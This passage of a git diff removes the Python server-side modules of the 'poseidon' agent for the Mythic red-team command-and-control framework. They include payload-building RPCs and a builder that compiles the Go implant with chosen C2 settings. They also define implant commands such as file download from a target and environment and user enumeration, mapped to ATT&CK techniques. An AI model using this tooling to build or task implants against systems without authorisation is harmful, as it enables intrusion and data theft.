- }
- )
- return MythicFileRPCResponse(resp)
diff --git a/Payload_Types/poseidon/mythic/MythicPayloadRPC.py b/Payload_Types/poseidon/mythic/MythicPayloadRPC.py
deleted file mode 100644
index 2af8bb3a1..000000000
--- a/Payload_Types/poseidon/mythic/MythicPayloadRPC.py
+++ /dev/null
@@ -1,303 +0,0 @@
-from MythicBaseRPC import *
-import base64
-import pathlib
-
-
-class MythicPayloadRPCResponse(RPCResponse):
- def __init__(self, payload: RPCResponse):
- super().__init__(payload._raw_resp)
- if payload.status == MythicStatus.Success:
- self.uuid = payload.response["uuid"]
- self.tag = payload.response["tag"]
- self.operator = payload.response["operator"]
- self.creation_time = payload.response["creation_time"]
- self.payload_type = payload.response["payload_type"]
- self.operation = payload.response["operation"]
- self.wrapped_payload = payload.response["wrapped_payload"]
- self.deleted = payload.response["deleted"]
- self.auto_generated = payload.response["auto_generated"]
- self.task = payload.response["task"]
- if "contents" in payload.response:
- self.contents = payload.response["contents"]
- self.build_phase = payload.response["build_phase"]
- self.agent_file_id = payload.response["file_id"]["agent_file_id"]
- self.filename = payload.response["file_id"]["filename"]
- self.c2info = payload.response["c2info"]
- self.commands = payload.response["commands"]
- self.build_parameters = payload.response["build_parameters"]
- else:
- self.uuid = None
- self.tag = None
- self.operator = None
- self.creation_time = None
- self.payload_type = None
- self.operation = None
- self.wrapped_payload = None
- self.deleted = None
- self.auto_generated = None
- self.task = None
- self.contents = None
- self.build_phase = None
- self.agent_file_id = None
- self.filename = None
- self.c2info = None
- self.commands = None
- self.build_parameters = None
-
- @property
- def uuid(self):
- return self._uuid
-
- @uuid.setter
- def uuid(self, uuid):
- self._uuid = uuid
-
- @property
- def tag(self):
- return self._tag
-
- @tag.setter
- def tag(self, tag):
- self._tag = tag
-
- @property
- def operator(self):
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- self._operator = operator
-
- @property
- def creation_time(self):
- return self._creation_time
-
- @creation_time.setter
- def creation_time(self, creation_time):
- self._creation_time = creation_time
-
- @property
- def payload_type(self):
- return self._payload_type
-
- @payload_type.setter
- def payload_type(self, payload_type):
- self._payload_type = payload_type
-
- @property
- def location(self):
- return self._location
-
- @property
- def operation(self):
- return self._operation
-
- @operation.setter
- def operation(self, operation):
- self._operation = operation
-
- @property
- def wrapped_payload(self):
- return self._wrapped_payload
-
- @wrapped_payload.setter
- def wrapped_payload(self, wrapped_payload):
- self._wrapped_payload = wrapped_payload
-
- @property
- def deleted(self):
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
-
- @property
- def auto_generated(self):
- return self._auto_generated
-
- @auto_generated.setter
- def auto_generated(self, auto_generated):
- self._auto_generated = auto_generated
-
- @property
- def task(self):
- return self._task
-
- @task.setter
- def task(self, task):
- self._task = task
-
- @property
- def contents(self):
- return self._contents
-
- @contents.setter
- def contents(self, contents):
- try:
- self._contents = base64.b64decode(contents)
- except:
- self._contents = contents
-
- @property
- def build_phase(self):
- return self._build_phase
-
- @build_phase.setter
- def build_phase(self, build_phase):
- self._build_phase = build_phase
-
- @property
- def c2info(self):
- return self._c2info
-
- @c2info.setter
- def c2info(self, c2info):
- self._c2info = c2info
-
- @property
- def build_parameters(self):
- return self._build_parameters
-
- @build_parameters.setter
- def build_parameters(self, build_parameters):
- self._build_parameters = build_parameters
-
- def set_profile_parameter_value(self,
- c2_profile: str,
- parameter_name: str,
- value: any):
- if self.c2info is None:
- raise Exception("Can't set value when c2 info is None")
- for c2 in self.c2info:
- if c2["name"] == c2_profile:
- c2["parameters"][parameter_name] = value
- return
- raise Exception("Failed to find c2 name")
-
- def set_build_parameter_value(self,
- parameter_name: str,
- value: any):
- if self.build_parameters is None:
- raise Exception("Can't set value when build parameters are None")
- for param in self.build_parameters:
- if param["name"] == parameter_name:
- param["value"] = value
- return
- self.build_parameters.append({"name": parameter_name, "value": value})
-
-
-class MythicPayloadRPC(MythicBaseRPC):
- async def get_payload_by_uuid(self, uuid: str) -> MythicPayloadRPCResponse:
- resp = await self.call(
- {"action": "get_payload_by_uuid", "uuid": uuid, "task_id": self.task_id}
- )
- return MythicPayloadRPCResponse(resp)
-
- async def build_payload_from_template(
- self,
- uuid: str,
- destination_host: str = None,
- wrapped_payload: str = None,
- description: str = None,
- ) -> MythicPayloadRPCResponse:
- resp = await self.call(
- {
- "action": "build_payload_from_template",
- "uuid": uuid,
- "task_id": self.task_id,
- "destination_host": destination_host,
- "wrapped_payload": wrapped_payload,
- "description": description,
- }
- )
- return MythicPayloadRPCResponse(resp)
-
- async def build_payload_from_parameters(self,
- payload_type: str,
- c2_profiles: list,
- commands: list,
- build_parameters: list,
- filename: str = None,
- tag: str = None,
- destination_host: str = None,
- wrapped_payload: str = None) -> MythicPayloadRPCResponse:
- """
- :param payload_type: String value of a payload type name
- :param c2_profiles: List of c2 dictionaries of the form:
- { "c2_profile": "HTTP",
- "c2_profile_parameters": {
- "callback_host": "https://domain.com",
- "callback_interval": 20
- }
- }
- :param filename: String value of the name of the resulting payload
- :param tag: Description for the payload for the active callbacks page
- :param commands: List of string names for the commands that should be included
- :param build_parameters: List of build parameter dictionaries of the form:
- {
- "name": "version", "value": 4.0
- }
- :param destination_host: String name of the host where the payload will go
- :param wrapped_payload: If payload_type is a wrapper, wrapped payload UUID
- :return:
- """
- resp = await self.call(
- {
- "action": "build_payload_from_parameters",
- "task_id": self.task_id,
- "payload_type": payload_type,
- "c2_profiles": c2_profiles,
- "filename": filename,
- "tag": tag,
- "commands": commands,
- "build_parameters": build_parameters,
- "destination_host": destination_host,
- "wrapped_payload": wrapped_payload
- }
- )
- return MythicPayloadRPCResponse(resp)
-
- async def build_payload_from_MythicPayloadRPCResponse(self,
- resp: MythicPayloadRPCResponse,
- destination_host: str = None) -> MythicPayloadRPCResponse:
- c2_list = []
- for c2 in resp.c2info:
- c2_list.append({
- "c2_profile": c2["name"],
- "c2_profile_parameters": c2["parameters"]
- })
- resp = await self.call(
- {
- "action": "build_payload_from_parameters",
- "task_id": self.task_id,
- "payload_type": resp.payload_type,
- "c2_profiles": c2_list,
- "filename": resp.filename,
- "tag": resp.tag,
- "commands": resp.commands,
- "build_parameters": resp.build_parameters,
- "destination_host": destination_host,
- "wrapped_payload": resp.wrapped_payload
- }
- )
- return MythicPayloadRPCResponse(resp)
-
- async def register_payload_on_host(self,
- uuid: str,
- host: str):
- """
- Register a payload on a host for linking purposes
- :param uuid:
- :param host:
- :return:
- """
- resp = await self.call(
- {
- "action": "register_payload_on_host",
- "task_id": self.task_id,
- "uuid": uuid,
- "host": host
- }
- )
- return MythicPayloadRPCResponse(resp)
diff --git a/Payload_Types/poseidon/mythic/MythicResponseRPC.py b/Payload_Types/poseidon/mythic/MythicResponseRPC.py
deleted file mode 100644
index 8ae588a96..000000000
--- a/Payload_Types/poseidon/mythic/MythicResponseRPC.py
+++ /dev/null
@@ -1,43 +0,0 @@
-from MythicBaseRPC import *
-import base64
-
-
-class MythicResponseRPCResponse(RPCResponse):
- def __init__(self, resp: RPCResponse):
- super().__init__(resp._raw_resp)
-
-
-class MythicResponseRPC(MythicBaseRPC):
- async def user_output(self, user_output: str) -> MythicResponseRPCResponse:
- resp = await self.call(
- {
- "action": "user_output",
- "user_output": user_output,
- "task_id": self.task_id,
- }
- )
- return MythicResponseRPCResponse(resp)
-
- async def update_callback(self, callback_info: dict) -> MythicResponseRPCResponse:
- resp = await self.call(
- {
- "action": "update_callback",
- "callback_info": callback_info,
- "task_id": self.task_id,
- }
- )
- return MythicResponseRPCResponse(resp)
-
- async def register_artifact(
- self, artifact_instance: str, artifact_type: str, host: str = None
- ) -> MythicResponseRPCResponse:
- resp = await self.call(
- {
- "action": "register_artifact",
- "task_id": self.task_id,
- "host": host,
- "artifact_instance": artifact_instance,
- "artifact": artifact_type,
- }
- )
- return MythicResponseRPCResponse(resp)
diff --git a/Payload_Types/poseidon/mythic/MythicSocksRPC.py b/Payload_Types/poseidon/mythic/MythicSocksRPC.py
deleted file mode 100644
index 3a1b63df6..000000000
--- a/Payload_Types/poseidon/mythic/MythicSocksRPC.py
+++ /dev/null
@@ -1,29 +0,0 @@
-from MythicBaseRPC import *
-
-
-class MythicSocksRPCResponse(RPCResponse):
- def __init__(self, socks: RPCResponse):
- super().__init__(socks._raw_resp)
-
-
-class MythicSocksRPC(MythicBaseRPC):
- async def start_socks(self, port: int) -> MythicSocksRPCResponse:
- resp = await self.call(
- {
- "action": "control_socks",
- "task_id": self.task_id,
- "start": True,
- "port": port,
- }
- )
- return MythicSocksRPCResponse(resp)
-
- async def stop_socks(self) -> MythicSocksRPCResponse:
- resp = await self.call(
- {
- "action": "control_socks",
- "stop": True,
- "task_id": self.task_id,
- }
- )
- return MythicSocksRPCResponse(resp)
diff --git a/Payload_Types/poseidon/mythic/PayloadBuilder.py b/Payload_Types/poseidon/mythic/PayloadBuilder.py
deleted file mode 100644
index 6333bdbff..000000000
--- a/Payload_Types/poseidon/mythic/PayloadBuilder.py
+++ /dev/null
@@ -1,302 +0,0 @@
-from enum import Enum
-from abc import abstractmethod
-from pathlib import Path
-import base64
-from CommandBase import *
-
-
-class BuildStatus(Enum):
- Success = "success"
- Error = "error"
-
-
-class SupportedOS(Enum):
- Windows = "Windows"
- MacOS = "macOS"
- Linux = "Linux"
- WebShell = "WebShell"
- Chrome = "Chrome"
-
-
-class BuildParameterType(Enum):
- String = "String"
- ChooseOne = "ChooseOne"
-
-
-class BuildParameter:
- def __init__(
- self,
- name: str,
- parameter_type: BuildParameterType = None,
- description: str = None,
- required: bool = None,
- verifier_regex: str = None,
- default_value: str = None,
- choices: [str] = None,
- value: any = None,
- verifier_func: callable = None,
- ):
- self.name = name
- self.verifier_func = verifier_func
- self.parameter_type = (
- parameter_type if parameter_type is not None else ParameterType.String
- )
- self.description = description if description is not None else ""
- self.required = required if required is not None else True
- self.verifier_regex = verifier_regex if verifier_regex is not None else ""
- self.default_value = default_value
- if value is None:
- self.value = default_value
- else:
- self.value = value
- self.choices = choices
-
- @property
- def name(self):
- return self._name
-
- @name.setter
- def name(self, name):
- self._name = name
-
- @property
- def parameter_type(self):
- return self._parameter_type
-
- @parameter_type.setter
- def parameter_type(self, parameter_type):
- self._parameter_type = parameter_type
-
- @property
- def description(self):
- return self._description
-
- @description.setter
- def description(self, description):
- self._description = description
-
- @property
- def required(self):
- return self._required
-
- @required.setter
- def required(self, required):
- self._required = required
-
- @property
- def verifier_regex(self):
- return self._verifier_regex
-
- @verifier_regex.setter
- def verifier_regex(self, verifier_regex):
- self._verifier_regex = verifier_regex
-
- @property
- def default_value(self):
- return self._default_value
-
- @default_value.setter
- def default_value(self, default_value):
- self._default_value = default_value
-
- @property
- def value(self):
- return self._value
-
- @value.setter
- def value(self, value):
- if value is None:
- self._value = value
- else:
- if self.verifier_func is not None:
- self.verifier_func(value)
- self._value = value
- else:
- self._value = value
-
- def to_json(self):
- return {
- "name": self._name,
- "parameter_type": self._parameter_type.value,
- "description": self._description,
- "required": self._required,
- "verifier_regex": self._verifier_regex,
- "parameter": self._default_value
- if self._parameter_type == BuildParameterType.String
- else "\n".join(self.choices),
- }
-
-
-class C2ProfileParameters:
- def __init__(self, c2profile: dict, parameters: dict = None):
- self.parameters = {}
- self.c2profile = c2profile
- if parameters is not None:
- self.parameters = parameters
-
- def get_parameters_dict(self):
- return self.parameters
-
- def get_c2profile(self):
- return self.c2profile
-
-
-class CommandList:
- def __init__(self, commands: [str] = None):
- self.commands = []
- if commands is not None:
- self.commands = commands
-
- def get_commands(self) -> [str]:
- return self.commands
-
- def remove_command(self, command: str):
- self.commands.remove(command)
-
- def add_command(self, command: str):
- for c in self.commands:
- if c == command:
- return
- self.commands.append(command)
-
- def clear(self):
- self.commands = []
-
-
-class BuildResponse:
- def __init__(self, status: BuildStatus, payload: bytes = None, message: str = None):
- self.status = status
- self.payload = payload if payload is not None else b""
- self.message = message if message is not None else ""
-
- def get_status(self) -> BuildStatus:
- return self.status
-
- def set_status(self, status: BuildStatus):
- self.status = status
-
- def get_payload(self) -> bytes:
- return self.payload
-
- def set_payload(self, payload: bytes):
- self.payload = payload
-
- def set_message(self, message: str):
- self.message = message
-
- def get_message(self) -> str:
- return self.message
-
-
-class PayloadType:
-
- support_browser_scripts = []
-
- def __init__(
- self,
- uuid: str = None,
- agent_code_path: Path = None,
- c2info: [C2ProfileParameters] = None,
- commands: CommandList = None,
- wrapped_payload: str = None,
- ):
- self.commands = commands
- self.base_path = agent_code_path
- self.agent_code_path = agent_code_path / "agent_code"
- self.c2info = c2info
- self.uuid = uuid
- self.wrapped_payload = wrapped_payload
-
- @property
- @abstractmethod
- def name(self):
- pass
-
- @property
- @abstractmethod
- def file_extension(self):
- pass
-
- @property
- @abstractmethod
- def author(self):
- pass
-
- @property
- @abstractmethod
- def supported_os(self):
- pass
-
- @property
- @abstractmethod
- def wrapper(self):
- pass
-
- @property
- @abstractmethod
- def wrapped_payloads(self):
- pass
-
- @property
- @abstractmethod
- def note(self):
- pass
-
- @property
- @abstractmethod
- def supports_dynamic_loading(self):
- pass
-
- @property
- @abstractmethod
- def c2_profiles(self):
- pass
-
- @property
- @abstractmethod
- def build_parameters(self):
- pass
-
- @abstractmethod
- async def build(self) -> BuildResponse:
- pass
-
- def get_parameter(self, key):
- if key in self.build_parameters:
- return self.build_parameters[key].value
- else:
- return None
-
- async def set_and_validate_build_parameters(self, buildinfo: dict):
- # set values for all of the key-value pairs presented to us
- for key, bp in self.build_parameters.items():
- if key in buildinfo and buildinfo[key] is not None:
- bp.value = buildinfo[key]
- if bp.required and bp.value is None:
- raise ValueError(
- "{} is a required parameter but has no value".format(key)
- )
-
- def get_build_instance_values(self):
- values = {}
- for key, bp in self.build_parameters.items():
- if bp.value is not None:
- values[key] = bp.value
- return values
-
- def to_json(self):
- return {
- "ptype": self.name,
- "file_extension": self.file_extension,
- "author": self.author,
- "supported_os": ",".join([x.value for x in self.supported_os]),
- "wrapper": self.wrapper,
- "wrapped": self.wrapped_payloads,
- "supports_dynamic_loading": self.supports_dynamic_loading,
- "note": self.note,
- "build_parameters": [b.to_json() for k, b in self.build_parameters.items()],
- "c2_profiles": self.c2_profiles,
- "support_scripts": [
- a.to_json(self.base_path) for a in self.support_browser_scripts
- ],
- }
diff --git a/Payload_Types/poseidon/mythic/agent_functions/__init__.py b/Payload_Types/poseidon/mythic/agent_functions/__init__.py
deleted file mode 100644
index 73103e391..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/__init__.py
+++ /dev/null
@@ -1,6 +0,0 @@
-import glob
-from os.path import basename
-
-# Get file paths of all modules.
-modules = glob.glob("agent_functions/*.py")
-__all__ = [basename(x)[:-3] for x in modules if x != "__init__.py"]
diff --git a/Payload_Types/poseidon/mythic/agent_functions/builder.py b/Payload_Types/poseidon/mythic/agent_functions/builder.py
deleted file mode 100644
index 6d0e0fec3..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/builder.py
+++ /dev/null
@@ -1,124 +0,0 @@
-from PayloadBuilder import *
-import asyncio
-import os
-import tempfile
-from distutils.dir_util import copy_tree
-import shutil
-import uuid
-from datetime import datetime
-
-
-class Poseidon(PayloadType):
-
- name = "poseidon"
- file_extension = "bin"
- author = "@xorrior, @djhohnstein"
- supported_os = [SupportedOS.Linux, SupportedOS.MacOS]
- wrapper = False
- wrapped_payloads = []
- note = "A fully featured macOS and Linux Golang agent"
- supports_dynamic_loading = False
- build_parameters = {
- "os": BuildParameter(
- name="os",
- parameter_type=BuildParameterType.ChooseOne,
- description="Choose the target OS",
- choices=["darwin", "linux"],
- ),
- "mode": BuildParameter(
- name="mode",
- parameter_type=BuildParameterType.ChooseOne,
- description="Choose the buildmode option. Default for executables, c-archive/archive/c-shared/shared are for libraries",
- choices=["default", "c-archive"],
- ),
- }
- c2_profiles = ["websocket", "HTTP"]
- support_browser_scripts = [
- BrowserScript(script_name="create_table", author="@djhohnstein"),
- BrowserScript(script_name="collapsable", author="@djhohnstein"),
- BrowserScript(
- script_name="file_size_to_human_readable_string", author="@djhohnstein"
- ),
- BrowserScript(
- script_name="create_process_additional_info_modal", author="@djhohnstein"
- ),
- BrowserScript(
- script_name="show_process_additional_info_modal", author="@djhohnstein"
- ),
- ]
-
- async def build(self) -> BuildResponse:
- # this function gets called to create an instance of your payload
- resp = BuildResponse(status=BuildStatus.Error)
- if len(self.c2info) != 1:
- resp.message = "Poseidon only accepts one c2 profile at a time"
- return resp
- output = ""
- try:
- agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid).name
- # shutil to copy payload files over
- copy_tree(self.agent_code_path, agent_build_path)
- file1 = open(
- "{}/pkg/profiles/profile.go".format(agent_build_path), "r"
- ).read()
- file1 = file1.replace("UUID_HERE", self.uuid)
- with open("{}/pkg/profiles/profile.go".format(agent_build_path), "w") as f:
- f.write(file1)
- c2 = self.c2info[0]
- profile = c2.get_c2profile()["name"]
- if profile not in self.c2_profiles:
- resp.message = "Invalid c2 profile name specified"
- return resp
- file1 = open(
- "{}/c2_profiles/{}.go".format(agent_build_path, profile), "r"
- ).read()
- for key, val in c2.get_parameters_dict().items():
- file1 = file1.replace(key, val)
- with open(
- "{}/pkg/profiles/{}.go".format(agent_build_path, profile), "w"
- ) as f:
- f.write(file1)
- command = "rm -rf /build; rm -rf /deps; rm -rf /go/src/poseidon;"
- command += "mkdir -p /go/src/poseidon/src; mv * /go/src/poseidon/src; mv /go/src/poseidon/src/poseidon.go /go/src/poseidon/;"
- command += "cd /go/src/poseidon;"
- command += (
- "xgo -tags={} --targets={}/{} -buildmode={} -out poseidon .".format(
- profile,
- "darwin" if self.get_parameter("os") == "darwin" else "linux",
- "amd64",
- "default" if self.get_parameter("mode") == "default" else "c-archive",
- )
- )
- proc = await asyncio.create_subprocess_shell(
- command,
- stdout=asyncio.subprocess.PIPE,
- stderr=asyncio.subprocess.PIPE,
- cwd=agent_build_path,
- )
- stdout, stderr = await proc.communicate()
- if stdout:
- output += f"[stdout]\n{stdout.decode()}"
- if stderr:
- output += f"[stderr]\n{stderr.decode()}"
- if os.path.exists("/build"):
- files = os.listdir("/build")
- if len(files) == 1:
- resp.payload = open("/build/" + files[0], "rb").read()
- resp.message = "Created payload!\n"
- else:
- temp_uuid = str(uuid.uuid4())
- file1 = open(
- "/go/src/poseidon/src/sharedlib-darwin-linux.c", "r"
- ).read()
- with open("/build/sharedlib-darwin-linux.c", "w") as f:
- f.write(file1)
- shutil.make_archive(f"{agent_build_path}/{temp_uuid}", "zip", "/build")
- resp.payload = open(f"{agent_build_path}/{temp_uuid}" + ".zip", "rb").read()
- resp.message = "Created a zip archive of files!\n"
- resp.status = BuildStatus.Success
- else:
- # something went wrong, return our errors
- resp.message = output
- except Exception as e:
- resp.message = str(e) + "\n" + output
- return resp
diff --git a/Payload_Types/poseidon/mythic/agent_functions/cat.py b/Payload_Types/poseidon/mythic/agent_functions/cat.py
deleted file mode 100644
index 3a3ce4f33..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/cat.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class CatArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class CatCommand(CommandBase):
- cmd = "cat"
- needs_admin = False
- help_cmd = "cat [file path]"
- description = "Cat a file via golang functions."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = CatArguments
- attackmapping = ["T1005"]
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/cd.py b/Payload_Types/poseidon/mythic/agent_functions/cd.py
deleted file mode 100644
index 4dce1b7a1..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/cd.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class CdArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class CdCommand(CommandBase):
- cmd = "cd"
- needs_admin = False
- help_cmd = "cd [new directory]"
- description = "Change working directory (can be relative, but no ~)."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = CdArguments
- attackmapping = ["T1005"]
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/cp.py b/Payload_Types/poseidon/mythic/agent_functions/cp.py
deleted file mode 100644
index d013bee98..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/cp.py
+++ /dev/null
@@ -1,45 +0,0 @@
-from CommandBase import *
-import json
-
-
-class CpArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "source": CommandParameter(
- name="source",
- type=ParameterType.String,
- description="Source file to copy.",
- ),
- "destination": CommandParameter(
- name="destination",
- type=ParameterType.String,
- description="Source will copy to this location",
- ),
- }
-
- async def parse_arguments(self):
- self.load_args_from_json_string(self.command_line)
-
-
-class CpCommand(CommandBase):
- cmd = "cp"
- needs_admin = False
- help_cmd = "cp"
- description = "Copy a file from one location to another."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = CpArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/curl.py b/Payload_Types/poseidon/mythic/agent_functions/curl.py
deleted file mode 100644
index 2e642f2f8..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/curl.py
+++ /dev/null
@@ -1,59 +0,0 @@
-from CommandBase import *
-import json
-
-
-class CurlArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "url": CommandParameter(
- name="url",
- type=ParameterType.String,
- description="URL to request.",
- default_value="https://www.google.com",
- ),
- "method": CommandParameter(
- name="method",
- type=ParameterType.ChooseOne,
- description="Type of request",
- choices=["GET", "POST"],
- ),
- "headers": CommandParameter(
- name="headers",
- type=ParameterType.String,
- description="base64 encoded json with headers.",
- required=False,
- ),
- "body": CommandParameter(
- name="body",
- type=ParameterType.String,
- description="base64 encoded body.",
- required=False,
- ),
- }
-
- async def parse_arguments(self):
- self.load_args_from_json_string(self.command_line)
-
-
-class CurlCommand(CommandBase):
- cmd = "curl"
- needs_admin = False
- help_cmd = 'curl { "url": "https://www.google.com", "method": "GET", "headers": "", "body": "" }'
- description = "Execute a single web request."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = CurlArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/download.py b/Payload_Types/poseidon/mythic/agent_functions/download.py
deleted file mode 100644
index a92ac2ffc..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/download.py
+++ /dev/null
@@ -1,38 +0,0 @@
-from CommandBase import *
-import json
-
-
-class DownloadArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- tmp_json = json.loads(self.command_line)
- self.command_line = tmp_json["path"] + "/" + tmp_json["file"]
-
-
-class DownloadCommand(CommandBase):
- cmd = "download"
- needs_admin = False
- help_cmd = "download /remote/path/to/file"
- description = "Download a file from the target."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = True
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = DownloadArguments
- attackmapping = ["T1022", "T1030", "T1041"]
- browser_script = BrowserScript(script_name="download", author="@djhohnstein")
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/drives.py b/Payload_Types/poseidon/mythic/agent_functions/drives.py
deleted file mode 100644
index 8cfb4cf2f..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/drives.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class DrivesArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class DrivesCommand(CommandBase):
- cmd = "drives"
- needs_admin = False
- help_cmd = "drives"
- description = "Get information about mounted drives on Linux hosts only."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = DrivesArguments
- attackmapping = ["T1135"]
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/exit.py b/Payload_Types/poseidon/mythic/agent_functions/exit.py
deleted file mode 100644
index 424371f71..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/exit.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class ExitArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class ExitCommand(CommandBase):
- cmd = "exit"
- needs_admin = False
- help_cmd = "exit"
- description = "Exit the current session and kill the agent."
- version = 1
- is_exit = True
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = ExitArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/getenv.py b/Payload_Types/poseidon/mythic/agent_functions/getenv.py
deleted file mode 100644
index 2574f5ca8..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/getenv.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class GetEnvArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class GetEnvCommand(CommandBase):
- cmd = "getenv"
- needs_admin = False
- help_cmd = "getenv"
- description = "Get all of the current environment variables."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = GetEnvArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/getuser.py b/Payload_Types/poseidon/mythic/agent_functions/getuser.py
deleted file mode 100644
index d23ec2fae..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/getuser.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class GetUserArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class GetUserCommand(CommandBase):
- cmd = "getuser"
- needs_admin = False
- help_cmd = "getuser"
- description = "Get information regarding the current user context."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = GetUserArguments
- attackmapping = ["T1033"]
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/jobkill.py b/Payload_Types/poseidon/mythic/agent_functions/jobkill.py
deleted file mode 100644
index 7973b7274..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/jobkill.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class JobKillArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class JobKillCommand(CommandBase):
- cmd = "jobkill"
- needs_admin = False
- help_cmd = "jobkill SOME-GUID-GOES-HERE"
- description = "Kill a job with the specified ID - not all jobs are killable though."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = JobKillArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/poseidon/mythic/agent_functions/jobs.py b/Payload_Types/poseidon/mythic/agent_functions/jobs.py
deleted file mode 100644
index 4e7195cc3..000000000
--- a/Payload_Types/poseidon/mythic/agent_functions/jobs.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class JobsArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class JobsCommand(CommandBase):
- cmd = "jobs"
- needs_admin = False
- help_cmd = "jobs"
- description = "List killable jobs."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@xorrior"
- argument_class = JobsArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
